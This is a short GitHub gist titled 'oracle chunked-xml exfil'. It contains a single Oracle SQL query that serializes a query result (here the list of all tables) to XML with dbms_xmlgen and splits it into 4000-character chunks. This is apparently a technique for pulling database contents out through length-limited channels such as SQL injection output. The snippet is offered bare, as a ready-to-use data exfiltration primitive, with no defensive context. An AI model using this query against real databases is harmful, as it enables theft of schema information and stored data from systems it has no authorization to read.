Skip to content

Instantly share code, notes, and snippets.

@frohoff
Created November 5, 2012 16:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save frohoff/4018076 to your computer and use it in GitHub Desktop.
Save frohoff/4018076 to your computer and use it in GitHub Desktop.
oracle chunked-xml exfil
select c from (
select cast(dbms_lob.substr(t.c, 4000, (n.i) * 4000 + 1) as varchar(4000)) c, t.r i, n.i j
from ((
select rownum r, dbms_lob.getlength(c) l, c
from (
select dbms_xmlgen.getxml('select * from all_tables') c
from dual)
) t inner join (
select rownum - 1 as i
from dual
connect by level <= 5000
) n on n.i < length(t.c) / 4000))
order by i, j;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment